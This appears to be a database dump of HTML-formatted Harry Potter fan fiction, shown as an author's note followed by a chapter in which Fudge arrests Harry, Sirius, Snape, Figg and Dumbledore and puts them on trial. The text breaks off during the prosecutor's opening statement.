If I could go through a twelve-hour labour with no drugs, then so could Arabella.&nbsp; Childbirth is such a magical experience to begin with that to add spells or enchantments would seem to gild the lily.&nbsp; I did make her delivery easier than mine was, so I spared some of the gory details.&nbsp; Be thankful for that.&nbsp; Be very thankful.&nbsp; And as strange as it may seem, my husband and I were so enthralled with looking at this new little face that we didn&#8217;t check between the legs for about ten minutes to see the sex until someone asked. </p>\n\n<p>So for all of my male readers out there in case you weren&#8217;t sure about this fact, it ain&#8217;t easy being pregnant or givin&#8217; birth.&nbsp; Please don&#8217;t impregnate any woman unless you actively want a small child running up to you some day saying, &#8220;Daddddy!&#8221;&nbsp; And above all:&nbsp; Revere Your Mother.</p>\n\n<p>I also wanted to say a few words about Soraya Mire.&nbsp; She is by far the bravest and most beautiful woman I have ever met.&nbsp; I am fortunate enough to be able to call her my friend.&nbsp; When I was trying to think of the perfect name for Sirius and Arabella&#8217;s daughter I remembered the meaning of Soraya&#8217;s name.&nbsp; After that, I knew that I had found the name I had been searching for.&nbsp; Not only would I name the child after an incredible woman, but it would also reflect the astronomical theme that is inherent in Sirius&#8217;s name.&nbsp; I also feel pretty confident in thinking that no other fanfic writer has ever used the name Soraya for any character.&nbsp; If you ever get the chance to see Soraya Mire&#8217;s critically acclaimed documentary film, &#8220;Fire Eyes,&#8221; do so.&nbsp; <i>It is</i>\n\n<i>powerful</i>.</p>\n\n<p>And now, I&#8217;d like to thank those readers who posted reviews on my boards.&nbsp; I appreciate your kind words.&nbsp; Thank you to:&nbsp; Brandie, darkstar, Dream, HerioneGranger 4 ever, kinicky21, MostEvilKitten, NAPPA, NIGHTSTALKER, Thelvyn, and vagrantshadow.&nbsp; And yes, NIGHTSTALKER, you did call it correctly on the pregnancy part of the story, but you guessed wrong about which sex the baby was going to be!&nbsp; Of course it was a 50-50 shot.&nbsp; And as for the relationship between Harry and Soraya, I think you&#8217;d just have to say that it was his godfather&#8217;s daughter.&nbsp; Not like second cousins once or twice removed or any such thing.&nbsp; (I have no idea how that stuff is supposed to work either.)</p>\n\n<p>Stay tuned:&nbsp; Only three more chapters to go!</p> '),
	(260, 15, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s note:&nbsp; I&#8217;d like to thank the following people for beta reading this chapter for me:&nbsp; Ama, Maria 1314, Lanski author of &#8220;A New Ghost&#8221; on The Dark Arts, and Cara Hicks.&nbsp; I was fortunate to have a beta such as Cara who not only gave fabulous suggestions throughout the writing of this story, wonderful wordsmithing skills, but also had an undergraduate degree in law.&nbsp; Thank you, Cara!</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Fifteen &#8211; Trial, Tribulation and Betrayal</p>\n\n<p>Harry stood shell shocked as handcuffs were put on his wrists.&nbsp; Sirius and Snape had a look of controlled rage as they had been shackled.&nbsp; They were ushered into the castle and taken to the nearest classroom.&nbsp; Harry looked around the room and realized that they must be in the Ancient Runes classroom as there were all kinds of strange symbols he didn&#8217;t recognize decorating the walls.&nbsp; A swarm of officers from the Magical Law Enforcement Squad were entering and exiting the room. &nbsp;He wanted desperately to speak with Dumbledore, but knew instinctively that doing so might implicate the headmaster.&nbsp; He couldn&#8217;t risk that.&nbsp; </p>\n\n<p>Harry&#8217;s heart stopped when Percy Weasley entered the room followed by Minister Cornelius Fudge.&nbsp; He tried to make eye contact with Percy, but it seemed that he was consciously avoiding Harry&#8217;s gaze.</p>\n\n<p>The officers began searching the prisoners.&nbsp; Harry&#8217;s wand and his pocket-knife were immediately confiscated.&nbsp; The burly officer that was searching him showed great interest in his necklace.</p>\n\n<p>&#8220;Minister Fudge, Potter has a necklace around his neck just like Black has,&#8221; he announced.</p>\n\n<p>&#8220;Check the other prisoner,&#8221; ordered Fudge.</p>\n\n<p>They began searching Snape and immediately seized his amulet and wand.</p>\n\n<p>&#8220;Here&#8217;s another one, Minister.&#8221;</p>\n\n<p>&#8220;Good work, Gaffney,&#8221; responded Fudge as he began to prowl the room looking at the three prisoners.&nbsp; &#8220;Matching necklaces&#8230;hmm, not something you&#8217;d expect from three <i>males</i>.&nbsp; Unless these necklaces have some magical properties.&#8221;</p>\n\n<p>Fudge held an amulet up for closer inspection.&nbsp; He turned it over in his hand and looked at it from all angles.</p>\n\n<p>&#8220;Tell me Black, what do these necklaces do?&#8221; he asked.</p>\n\n<p>Sirius gave him a cold hard stare that was palpable with its intense hatred.&nbsp; Fudge began walking around Sirius looking at him up and down.&nbsp; He held up the wanted photos of Sirius from both his pre-Azkaban youthful days and his famous incarcerated picture and compared them to the man standing before him.</p>\n\n<p>&#8220;This is a very good disguise you are sporting Black.&nbsp; If we hadn&#8217;t been tipped off &#8211; I don&#8217;t know that I would have recognized you.&nbsp; I daresay that you could have walked down Diagon Alley and not gotten a second glance, that is except for the ladies of course&#8230;<i>ladies</i>&#8230;,&#8221; Fudge smirked, &#8220;You always were a ladies&#8217; man.&nbsp; You and Arabella Figg used to work closely together.&nbsp; Hmm, and today she gave birth to a <i>black haired child</i>.&#8221;</p>\n\n<p>Fudge snapped his fingers to Percy, &#8220;Send investigators to the gamekeeper&#8217;s hut.&nbsp; See if anyone there is wearing a necklace like this.&nbsp; If they are, have them arrested immediately and brought here.&nbsp; I also want to know who fathered that bastard child of hers.&nbsp; If it is Black&#8217;s as I suspect, then I want her brought to me.&nbsp; I need to know if he was present at the birth, if he was then everyone else that was there at the time is a material witness and we will need statements from them.&#8221;</p>\n\n<p>&#8220;Is there anything else?&#8221; Percy asked.</p>\n\n<p>&#8220;Yes, we will also need to have investigators search the necks of everyone here.&nbsp; Search everyone, all the students, faculty and staff.&nbsp; Start at the top with the headmaster himself,&#8221; Fudge said with a twisted smile.</p>\n\n<p>Percy nodded and then his eyes met Harry&#8217;s.&nbsp; Once their eyes finally connected, Harry wished that they hadn&#8217;t.&nbsp; Percy seemed to be looking through him, as if he were beneath his dignity to acknowledge.&nbsp; It was now clear to Harry that Percy had made his choice.&nbsp; He sided with Fudge over his own family.&nbsp; He could only wonder if Percy had joined with Voldemort or if he was merely an unwitting pawn.&nbsp; Percy turned on his heel and left the room to follow through on Fudge&#8217;s orders.</p>\n\n<p>Fudge walked over to Snape and gave him the visual once over.&nbsp; He started making a clucking sound.&nbsp; &#8220;Snape, Snape, Snape.&nbsp; I <i>am</i> surprised to see you in league with Black.&nbsp; Why just two years ago you apprehended him and turned him over to me.&nbsp; If he hadn&#8217;t somehow escaped that night, I would have put in for the Order of Merlin for you.&nbsp; Ah, but tonight your actions have instead earned you a lifetime in Azkaban.&nbsp; This is a sad turn of events, but not completely unexpected I&#8217;m afraid to say.&nbsp; I began wondering about you last year when you showed me your Dark Mark.&#8221;</p>\n\n<p>Fudge leaned in even closer, his face menacingly close to Snape&#8217;s, &#8220;Tell me, what made you align yourself with Black?&#8221;</p>\n\n<p>Snape&#8217;s upper lip curled, exposing his yellowed teeth.&nbsp; He looked as if he was about to say something entirely unpleasant. </p>\n\n<p>Harry had been thinking about all the American police shows he had watched on television while he was growing up.&nbsp; Or <i>heard </i>rather, while he was in his cupboard and the Dursleys stayed up late at night watching them.&nbsp; He had heard the saying so many times he had it memorized.</p>\n\n<p>&#8220;You have the right to remain silent,&#8221; Harry said out loud.</p>\n\n<p>Fudge smirked at him.</p>\n\n<p>&#8220;If you give up that right, anything you say can be used against you in a court of law,&#8221; Harry continued.&nbsp; &#8220;You have the right to an attorney&#8230;&#8221;</p>\n\n<p>Fudge erupted in laughter, &#8220;Court of law?&#8221; he sneered.&nbsp; &#8220;Attorney?&nbsp; That&#8217;s a good one, Potter!&nbsp; You and Snape attacked three Ministry officials and were found in the presence of a fugitive from justice.&nbsp; You&#8217;ll all be sent to Azkaban.&nbsp; There will be no need to waste anyone&#8217;s time with a trial.&#8221;</p>\n\n<p>Harry gulped.&nbsp; He had never thought about that possibility.&nbsp; Sirius had a hardened look in his eye, while Snape looked positively murderous towards Fudge.&nbsp; Harry&#8217;s knees started shaking violently making it difficult for him to stand.</p>\n\n<p>Percy returned to the room and was followed by an elderly wizard with a no nonsense air about him.&nbsp; He wore a black cloak with a white dress shirt underneath and a large loopy black string tie.&nbsp; He was bald and had a finely trimmed white beard that covered the edges of his chin, but was shaven on his face.&nbsp; His eyes were stern and humorless behind gold-rimmed spectacles.</p>\n\n<p>Fudge turned and greeted the new arrival, &#8220;Mathews, it&#8217;s about time you got here.&nbsp; We have finally arrested Sirius Black.&nbsp; He had been seen on the school grounds and was apprehended by Bode, Croaker and Macnair as he tried to leave through Hogsmeade.&nbsp; They were in the process of bringing him back to Azkaban when they were viciously attacked by Professor Severus Snape and Harry Potter.&nbsp; And Cotton,&#8221; Fudge chuckled as he handed him the necklaces, &#8220;they were all wearing these amulets.&#8221;</p>\n\n<p>Cotton Mathews looked carefully at the necklaces and then cast piercing glances at the prisoners.</p>\n\n<p>&#8220;We need to separate them and put them into holding cells until the investigation here is complete.&nbsp; Later we can transport them.&nbsp; Where would be a good place to hold them?&#8221; Mathews asked.</p>\n\n<p>&#8220;Percy, you were Head Boy here,&#8221; Fudge said.&nbsp; &#8220;Perhaps you might know of some suitable rooms here in the castle.&#8221;</p>\n\n<p>Percy considered the request for a moment and then answered, &#8220;The house-elf quarters should work.&nbsp; They&#8217;re small, Spartan, but they should work.&nbsp; We can post guards outside the rooms and another bonus is that they are underground so we don&#8217;t have to worry about anyone escaping out windows.&#8221;</p>\n\n<p>&#8220;Sounds good.&nbsp; Percy can you see to it that they are moved there immediately?&#8221; Mathews asked.&nbsp; &#8220;The Minister needs to inform me about everything that has come to light in this investigation.&#8221;</p>\n\n<p>&#8220;What about the house-elves?&#8221; Harry asked.&nbsp; &#8220;Where are they supposed to sleep?&#8221;</p>\n\n<p>&#8220;Who cares?&#8221; Fudge snorted.&nbsp; &#8220;They can either double up or sleep on the floor.&nbsp; They&#8217;re only elves after all.&#8221;</p>\n\n<p>Percy announced that he would lead the way to the house-elf quarters.&nbsp; Three officers came over to usher the prisoners to their new holding area.&nbsp; Harry was repeatedly pushed and elbowed as he was walking down the stairs past the kitchen.&nbsp; Several times he almost fell down the steps but somehow maintained his balance.&nbsp; As they started walking down a corridor, Dobby appeared and stood in the middle of the hallway.</p>\n\n<p>&#8220;What brings you to the house-elf quarters?&#8221; he asked.</p>\n\n<p>Percy looked down on the house-elf as if there was really no need to respond to such an underling.&nbsp; &#8220;We are in need of rooms to temporarily house prisoners.&nbsp; We need three rooms vacated immediately.&#8221;</p>\n\n<p>&#8220;Certainly,&#8221; the house-elf said as he gave a bow.&nbsp; &#8220;Harry Potter can use Dobby&#8217;s room.&nbsp; Dobby will make two more rooms available.&nbsp; Come this way.&#8221;</p>\n\n<p>Harry gave the house-elf a look and mouthed the words, &#8220;I&#8217;m hungry.&#8221;&nbsp; Dobby nodded and then led them to his room.&nbsp; Harry was shoved inside and the door was slammed shut after him.&nbsp; He was now alone with his thoughts.&nbsp; As he looked around the small room he realized that he had been in water closets that were larger.&nbsp; There was a small bed that if Harry curled up in a fetal position might hold him.&nbsp; The room also contained a small table, a chair and a small chest that must have held all of Dobby&#8217;s socks and assorted clothes.&nbsp; A red beret was resting on top of the chest.&nbsp; </p>\n\n<p>&#8220;At least that looks better than that silly tea cozy,&#8221; Harry muttered to himself.</p>\n\n<p>He had just sat down on the bed and tried to gather his thoughts when he heard voices coming down the hallway, followed by the wail of a newborn baby.&nbsp; Professor Figg was being placed in a room across the hall from Harry.</p>\n\n<p>&#8220;Arabella, it&#8217;s been a long time,&#8221; came Fudge&#8217;s voice with a false note of friendship.&nbsp; &#8220;And yet, I&#8217;m not surprised to see you ensnared in all of this.&nbsp; You always seemed to have your own ideas about things.&#8221;</p>\n\n<p>&#8220;Cornelius, I don&#8217;t think you want us revisiting ancient history &#8211; especially when that history includes you actively trying to sabotage my advancement within the Ministry,&#8221; Professor Figg replied coldly.&nbsp; &#8220;Actually you did me a favour, because leaving the Ministry was the best thing I ever did for my own sanity&#8217;s sake.&nbsp; <i>I</i> have never compromised my ethics or values.&#8221;</p>\n\n<p>Fudge laughed, &#8220;Yes, your <i>values</i> have earned yourself a cell in Azkaban a few doors down from your poor choice of lovers.&#8221;</p>\n\n<p>&#8220;Wait until the trial, we&#8217;ll see what a judge and jury has to say about that,&#8221; she said defiantly.</p>\n\n<p>Fudge chuckled.</p>\n\n<p>&#8220;You don&#8217;t plan on holding a trial?&#8221; she said shocked.&nbsp; &#8220;You think you can just throw me in prison without a trial?&nbsp; That would be political suicide Cornelius.&nbsp; Imagine the headline &#8211; Cruel Fudge imprisons new mother and baby without a trial.&#8221;</p>\n\n<p>&#8220;I wouldn&#8217;t send a baby into a prison.&#8221;</p>\n\n<p>&#8220;Cruel Fudge snatches newborn baby away from her mother!&nbsp; You know that it wouldn&#8217;t matter how you tried to spin it, <i>The Daily Prophet</i> would run with that angle.&nbsp; They print whatever is the most scandalous and salacious copy they can dream up because that is what sells the most papers.&nbsp; To hell with the truth.&nbsp; And you know that the witches would all be after your hide.&nbsp; They know that a newborn needs its mother&#8217;s milk.&nbsp; Babies need colostrum to give their immune system needed antibodies to fight off infection.&nbsp; Not even a wet nurse can provide a newborn what only their mother can.&nbsp;&nbsp; Once those headlines hit the papers, you&#8217;d be lucky to still be in your office by sundown.&nbsp; Hell, you&#8217;d be lucky to remain in one piece.&#8221;</p>\n\n<p>There was a notable silence.</p>\n\n<p>&#8220;Minister Fudge,&#8221; Percy&#8217;s familiar voice called out, &#8220;they found an amulet on Dumbledore, sir.&nbsp; They&#8217;re bringing him now.&#8221;</p>\n\n<p>&#8220;Good,&#8221; Fudge said coldly.</p>\n\n<p>&#8220;Cornelius you cannot possibly think you can simply incarcerate Albus Dumbledore without a trial,&#8221; stated Professor Figg flatly.&nbsp; &#8220;It was one thing for you to help Crouch railroad a twenty-one year old wizard into Azkaban that had very damning circumstances surrounding his alleged crime.&nbsp; It&#8217;ll be a totally different ballgame to try and short circuit the justice system with someone of Dumbledore&#8217;s stature.&nbsp; That would definitely be your last act as Minister of Magic.&nbsp; No, you need to at least put on a show or you will be collecting your pension starting tomorrow night.&#8221;</p>\n\n<p>&#8220;She&#8217;s right Cornelius,&#8221; came Dumbledore&#8217;s voice.&nbsp; &#8220;You will need to have a trial for all of us.&nbsp; At least put up the appearance of a trial before you can throw us on that deserted rock.&#8221; </p>\n\n<p>&#8220;Cotton, have the investigators turned up any other accomplices?&#8221; Fudge asked.</p>\n\n<p>&#8220;Not yet,&#8221; came the reply.&nbsp; &#8220;They have been searching all the students&#8217; trunks and haven&#8217;t found anything.&nbsp; Well, except for these incriminating letters we found in Potter&#8217;s trunk.&#8221;</p>\n\n<p>&#8220;Very good,&#8221; said Fudge with an evil voice.&nbsp; &#8220;Cotton we will have to hold a trial for these criminals after all.&nbsp; It shall be held tomorrow at <st1:time minute="0" hour="12">noon</st1:time>.&#8221;</p>\n\n<p>&#8220;<st1:time minute="0" hour="12"><i>Noon</i></st1:time><i>?</i>&nbsp; Are you crazy?&nbsp; I can&#8217;t possibly be ready to lead the inquisition by that time!&#8221; came Mathews&#8217; irate voice.</p>\n\n<p>&#8220;We need to do this quickly,&#8221; said Fudge coolly.&nbsp; &#8220;I don&#8217;t want a groundswell of support to grow for Dumbledore.&nbsp; We need to bring forth the overwhelming evidence as soon as possible, before people start reminiscing about their halcyon days here and want to get him off for sentimental reasons.&nbsp; Same with any sympathy for a new mother.&#8221;</p>\n\n<p>Then Fudge started chuckling, &#8220;I doubt there is much goodwill left for Potter after this last year&#8217;s headlines.&nbsp; And there will be no reservoir of support for a former Death Eater and for Sirius Black.&nbsp; Mathews, if <st1:time minute="0" hour="12">noon</st1:time> is too soon, then we shall hold it at <st1:time minute="0" hour="15">three o&#8217;clock</st1:time> in the afternoon.&nbsp; You shall send officers to the school owlery to send off all the necessary notices to the sitting jurors and other necessary officials.&nbsp; The Ministry&#8217;s minibus should be here within the hour to transport the prisoners and material witnesses.&nbsp; You can stay here and continue the investigation if you so desire.&#8221;</p>\n\n<p>Mathews muttered something under his breath that was inaudible.</p>\n\n<p>&#8220;Minister, investigators found Frank and Claire Longbottom in a private room off of the hospital wing.&nbsp; Wasn&#8217;t there a missing person&#8217;s report filed recently on Lucretia Longbottom?&#8221; Percy asked.</p>\n\n<p>&#8220;Yes there was,&#8221; Fudge responded.&nbsp; &#8220;Dumbledore, why are the Longbottoms here?&#8221;</p>\n\n<p>&#8220;They were not getting appropriate medical attention at St. Mungo&#8217;s and it was thought that Madam Pomfrey&#8217;s care might bring about some long overdue improvement.&nbsp; I must say that their health has improved dramatically since they&#8217;ve arrived here.&#8221;</p>\n\n<p>&#8220;And what about Lucretia Longbottom?&nbsp; Have you seen her?&#8221; Fudge asked.</p>\n\n<p>&#8220;I haven&#8217;t seen her face since the day Frank and Claire arrived here,&#8221; Dumbledore replied.</p>\n\n<p>Footsteps were soon heard walking down the hallway.&nbsp; Apparently Fudge and Mathews had tired of asking questions.&nbsp; Harry curled up on the bed. He stared at the ceiling.&nbsp; There was going to be a trial after all.&nbsp; That left a glimmer of hope, but he didn&#8217;t have any idea as to how they were going to escape conviction.&nbsp; Then he thought of Hermione, if only he could get a message to her.</p>\n\n<p>&#8220;I have Harry Potter&#8217;s dinner,&#8221; came Dobby&#8217;s voice outside the door.</p>\n\n<p>&#8220;I wasn&#8217;t given any notice about allowing our prisoners to eat,&#8221; replied the guard.</p>\n\n<p>&#8220;He&#8217;s still a student here and he missed his dinner.&nbsp; Harry Potter is very hungry.&nbsp; He said so himself.&nbsp; Does the Ministry want to starve their prisoners?&#8221; asked the house-elf.</p>\n\n<p>After a few silent moments, Harry heard the door being opened.&nbsp; The guard came over and instructed Harry to lie on his stomach.&nbsp; Then the handcuffs came off and the guard gave Dobby an impatient glare.&nbsp; The house-elf was setting the small table for a meal and was laboriously placing the silverware in its proper placement.&nbsp; The guard left the room while the elf was still fussing over the place settings and food.&nbsp; </p>\n\n<p>&#8220;Here is Harry Potter&#8217;s dinner,&#8221; the house-elf said.</p>\n\n<p>&#8220;Thank you Dobby,&#8221; Harry said.</p>\n\n<p>&#8220;Do you want us to break you out?&#8221; Dobby whispered.</p>\n\n<p>Harry was surprised to see a look of fierceness in those tennis ball sized eyes.&nbsp; Dobby was ready to lead a battle and was willing to die for him.</p>\n\n<p>&#8220;No, I don&#8217;t want to live my life as a fugitive,&#8221; Harry whispered back.&nbsp; &#8220;What I need is for you to get a message to Hermione.&#8221;</p>\n\n<p>The house-elf&#8217;s face split into a large grin as he removed a scrap of parchment out of a pocket.&nbsp; He handed it to Harry.&nbsp; There was only a single line written in her familiar handwriting.</p>\n\n<p><i>How can I help?</i></p>\n\n<p>Dobby then handed Harry a small pencil.&nbsp; He looked at that small writing implement and thought it looked like it was made of pure gold.&nbsp; He grabbed that grubby little pencil and scribbled back, &#8220;Be my barrister.&nbsp; We are being tried tomorrow afternoon.&nbsp; You&#8217;ll be taken there as a witness.&nbsp; Do whatever you have to in order to defend us.&nbsp; Shame them if you have to.&nbsp; Otherwise we&#8217;ll go to Azkaban.&nbsp; For life.&#8221;&nbsp; </p>\n\n<p>Harry looked at the note and remembered something else.&nbsp; He scribbled another line.&nbsp; </p>\n\n<p>&#8220;Take this back to Hermione,&#8221; he said in a hushed tone.&nbsp; &#8220;Tell her that she must figure out a way to defend us otherwise we are all doomed.&nbsp; Also tell her that she needs to write a letter to her folks to get the item that I wrote down.&nbsp; It&#8217;s something that I need for the trial that I won&#8217;t be able to get otherwise.&nbsp; You&#8217;ll have to go to the owlery and send off the letter.&nbsp; Maybe send another letter to Mr. Weasley asking him to pick up the stuff from her parents, because I don&#8217;t think she&#8217;d be allowed to get owl post when she&#8217;s at the Ministry.&nbsp; I also doubt her parents would know how else to get it to her.&nbsp; Can you do all that?&#8221;</p>\n\n<p>&#8220;Yes, Dobby understands and will make sure it is done,&#8221; the house-elf bowed before he left the room with a Crack!</p>\n\n<p>Harry sat down to eat the food that had been brought to him.&nbsp; The last thing he had eaten had been a sandwich over ten hours earlier.&nbsp; The fear of what was going to happen to him and the other prisoners caused his stomach to be tied in knots.&nbsp; As he smelled the warm roast beef, his stomach started to settle and he dug in as if he were a condemned man and this was his last meal.</p>\n\n<p>An hour later the guard entered Harry&#8217;s room and placed the handcuffs back on him.&nbsp; The five prisoners were being led outside to be placed in a minibus from the Ministry.&nbsp; Hermione and Rebecca Nurse were standing and waiting behind Hagrid to enter the vehicle.&nbsp; Hagrid was having a hard time getting through the door.&nbsp; As the wizards were working to expand the doorway to allow the half-giant to enter, Hermione carefully moved beside Harry.&nbsp; She was clutching a single leather bound book under her arm.</p>\n\n<p>&#8220;The messages were sent,&#8221; she said in an undertone, &#8220;but why?&#8221;</p>\n\n<p>&#8220;We need to bring up Scabbers in the testimony or we&#8217;re all doomed.&#8221;</p>\n\n<p>She gave him a worried look, &#8220;I have no idea as to how I&#8217;m supposed to do this.&#8221;</p>\n\n<p>&#8220;I know you can do it.&nbsp; I have faith in you.&nbsp; I&#8217;ll give you a signal, I&#8217;ll sneeze three times,&#8221; Harry said.</p>\n\n<p>A guard stepped forward and directed Hermione through the doorway.&nbsp; She gave a frantic look back at Harry as if he had gone plumb off his bob.</p>\n\n<p>Later as Harry was wedged in a seat between Sirius and Snape, he tried to think positively.&nbsp; He knew that he now had reason to hope that things might turn out all right.&nbsp; He could no longer depend on Albus Dumbledore to protect him.&nbsp; Instead he and the other four defendants would be placing all their lives in the hands of a fifteen-year old Muggle-born witch named Hermione Granger.&nbsp; She might be the only one who could save them.</p>\n\n<p>The minibus trundled along for hours.&nbsp; The only sound came from the rattling and wheezing of the engine and from Soraya&#8217;s cries when she needed something.&nbsp; The guards were none too pleased when they had to either release Professor Figg from her handcuffs for feedings or to change the newborn.&nbsp; They refused to do the diaper duty themselves.&nbsp; Harry tried to get some rest, but found himself being jerked awake just as he was falling asleep.&nbsp; Then when he had finally drifted into a deep sleep he was awakened by the incredibly loud snores coming from Hagrid.&nbsp; Thankfully, Hermione was sitting next to gamekeeper and gently roused him to stop the noises that were threatening to wake the dead.</p>\n\n<p>Hours later when the sun&#8217;s rays were hitting Harry squarely in the eyes and preventing him from sleeping any further, he looked at Sirius.&nbsp; The crow&#8217;s feet around his eyes started to soften and then disappeared altogether.&nbsp; His hair was also losing its grey highlights and turned to jet-black.&nbsp; Sirius started blinking very hard and shaking his head.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; asked Harry.</p>\n\n<p>&#8220;It&#8217;s my contacts,&#8221; Sirius replied.&nbsp; &#8220;Their prescription is for my eyes being twenty years older.&nbsp; Now everything is blurry.&nbsp; If I don&#8217;t take these out, I&#8217;m going to get a splitting headache.&#8221;</p>\n\n<p>&#8220;Maybe they&#8217;ll take our handcuffs off when they put us in holding cells,&#8221; suggested Harry.</p>\n\n<p>&#8220;I hope so.&#8221;</p>\n\n<p>Shortly afterwards the vehicle came to a stop before the Leaky Cauldron.&nbsp; They were now being ushered out of the vehicle into the Wizarding pub and then into Diagon Alley.&nbsp; Minister Fudge looked smug as he led the way and tipped his hat to the astonished witches and wizards who had come for a bit of early morning shopping.&nbsp; </p>\n\n<p>Voices in shocked amazement could be heard all up and down the Wizarding district.</p>\n\n<p>&#8220;Is that Albus Dumbledore under arrest?&#8221;</p>\n\n<p>&#8220;And is that&#8230;Sirius Black?&nbsp; What are Dumbledore and Black doing together?&#8221;</p>\n\n<p>&#8220;I think that&#8217;s Harry Potter, too.&nbsp; I wonder what happened?&#8221;</p>\n\n<p>As they walked through Diagon Alley more and more spectators seemed to follow behind them.&nbsp; It was as if Fudge had become the Pied Piper of Hamelin.&nbsp; They walked past Gringotts, turned the corner and came to a building complex that Harry had never seen before.&nbsp; It was massive in structure and it was clearly the Ministry of Magic as a large statue of Merlin stood in front.&nbsp; Doric columns surrounded the building and gave it a majestic look as well as the carved sculptures in the friezes.&nbsp; One particular frieze was chilling in that it depicted several witches and wizards being burned at the stake.</p>\n\n<p>A crowd had gathered at the foot of the steps and Minister Fudge turned to address them.</p>\n\n<p>&#8220;Today will go down in Wizarding history as a solemn day,&#8221; he called out with a loud and clear voice.&nbsp; &#8220;We have finally captured the most infamous fugitive who has eluded Wizarding justice for three years.&nbsp; We have Sirius Black in custody as well as four of his accomplices.&nbsp; One is the famous Harry Potter, two are professors at Hogwarts and the other is none other than Hogwarts&#8217; Headmaster Albus Dumbledore.&#8221;</p>\n\n<p>Gasps were heard from the assembled crowd.</p>\n\n<p>&#8220;Yes, yes, I know that is hard to believe, but it is true.&nbsp; Because of the serious nature of their crimes, we do not want any delays in their judgment lest they somehow devise a plan to escape once again and continue to terrorize the Wizarding and Muggle worlds.&nbsp; So, for those who wish to witness the Trial of the Century &#8211; then come to our courtroom at three o&#8217;clock this afternoon.&#8221;</p>\n\n<p>Heads were nodding and voices were heard discussing how they could rearrange their day in order to attend.</p>\n\n<p>Harry looked over at Hermione.&nbsp; She had a look of fear in her eyes that he had never seen before.&nbsp; She looked over at him and then mouthed, &#8220;I&#8217;ll try.&#8221;&nbsp; He sighed at that.&nbsp; Somehow, she&#8217;d be his barrister.&nbsp; She had to.&nbsp; She was his only hope.</p>\n\n<p>They were then led through an ornate lobby with gleaming white marble floors and then down a back staircase to a dank basement.&nbsp; Harry could sense that in centuries past it was very likely that prisoners here were treated to similar tortures as they had been in the Muggle prisons.&nbsp; It was as if he could hear screams still reverberating on the walls.&nbsp; He was tossed into a cell with stone walls and a large wooden door that had only a small window in it.&nbsp; The cell was cold, dark and damp.&nbsp; It had only a small filthy cot and a grimy toilet and sink.&nbsp; The room was lit by a single feeble lamp.&nbsp;&nbsp; His handcuffs were removed and he was once again left to his own thoughts.&nbsp; He looked at his watch and saw that it was now 8:30 in the morning.&nbsp; He had six and a half hours before the trial would begin.&nbsp; </p>\n\n<p>*</p>\n\n<p>A few minutes before three o&#8217;clock the prisoners were taken out of their cells.&nbsp; This time they were handcuffed with their hands in front of them, rather than behind their backs.&nbsp; Their feet were also manacled, which made their movement very difficult.&nbsp; Professor Figg was the only prisoner who did not have manacles put on her legs, for she was still carrying Soraya.&nbsp; The guards at least realized that she would risk dropping the infant if her legs were in restraints.&nbsp; </p>\n\n<p>Harry had never felt such a strong case of nerves.&nbsp; He had tried to nibble on the dry and tasteless food that was brought to him at lunch, but was unable to eat more than a few bites.&nbsp; He now was being prodded forward down the corridor with his godfather shuffling his feet in front of him.</p>\n\n<p>They entered the courtroom that Harry had seen in Dumbledore&#8217;s Pensieve.&nbsp; The room was filled with witches and wizards.&nbsp; He swallowed hard as he was led to a chair in the front of the room.</p>\n\n<p>Cotton Mathews entered and surveyed the room.&nbsp; He looked very tired as if he had been up all night working on this case, but he still managed to radiate a confident manner about him.&nbsp; Mathews was dressed in a long black robe and had a powdered wig that covered his bald pate.&nbsp; He placed his briefcase down on a table and immediately started taking out sheets of parchment and the confiscated necklaces.</p>\n\n<p>&#8220;All Rise!&#8221; came the booming voice from a bailiff.&nbsp; &#8220;His Honor, Judge Amos Diggory will preside over the matter before the court.&#8221;</p>\n\n<p>Everyone in the room stood and Harry found himself struggling with his manacles and handcuffs to stand without losing his balance.</p>\n\n<p>Amos Diggory came into the room wearing long red robes and a powdered wig.&nbsp; He walked over to a tall desk at the front of the room.&nbsp; He looked deadly serious and gave Harry a penetrating glare as he sat down.&nbsp; Diggory then announced that the audience should be seated.</p>\n\n<p>&#8220;Mr. Mathews, would you kindly tell the court why we have assembled here today?&#8221; Diggory asked.</p>\n\n<p>Matthews stood and immediately took control of the room with his resonant voice.&nbsp; &#8220;Yes, your lordship.&nbsp; Today is a grave day for the Wizarding World.&nbsp; I take no pleasure in presenting the case against the venerable Albus Dumbledore.&nbsp; However, as it will be shown &#8211; he is not deserving of the widespread respect and admiration that so many in the Wizarding World have accorded him.&nbsp; Instead he has conspired with the notorious mass murderer and escaped prisoner Sirius Black.&#8221;</p>\n\n<p>As he pointed directly at Sirius, the audience responded with audible gasps. Others were straining to get a better view of the infamous prisoner.</p>\n\n<p>&#8220;This conspiracy led to the overthrow of Azkaban and there was a plan to control our community worse than the darkest days under He-Who-Must-Not-Be-Named.&nbsp; It will be shown that Sirius Black betrayed his late friends James and Lily Potter in a scheme that caused the downfall of You-Know-Who.&nbsp; It was because Black wasn&#8217;t satisfied with being second in command and wanted to become Evil Overlord himself.&#8221;</p>\n\n<p>Harry started to feel his anger building within him, but he tried to calm himself and remind himself to breathe.&nbsp; He knew the accusations were going to get worse.</p>\n\n<p>&#8220;Two years ago, Sirius Black laid a trap for Harry Potter, so that he could meet the young wizard.&nbsp; We all thought it was because he wanted to murder the young boy and finish the job that his former master had been unable to.&nbsp; Instead it will be shown that Black wanted to recruit the young Dark Wizard.&nbsp; For Black and He-Who-Must-Not-Be-Named knew that Harry Potter&#8217;s destiny was to become a very powerful Dark Wizard.&nbsp; You-Know-Who feared the competition, but Black sought to harness Potter&#8217;s abilities for his own evil purposes.&#8221;</p>\n\n<p>Matthews then moved and gestured dramatically in front of Harry.</p>\n\n<p>&#8220;Harry Potter.&nbsp; A child who at the tender age of twelve was revealed as being a Parselmouth.&nbsp; One of the most feared and suspected talents of Dark Wizards &#8211; the ability to converse with snakes.&nbsp; This &#8216;gift&#8217; was further demonstrated at the funeral of Charles Weasley.&nbsp; Under very suspicious circumstances, the flowers on the casket were transfigured into snakes.&nbsp; Potter then spoke to them in Parseltongue.&nbsp; He freely admits that he performed a transfiguration spell to revert the snakes back to their original form.&nbsp; Even though this specific transformation was never taught at Hogwarts, he somehow was able to perform it instantly.&nbsp; This incident of performing magic outside of school has led to expulsion 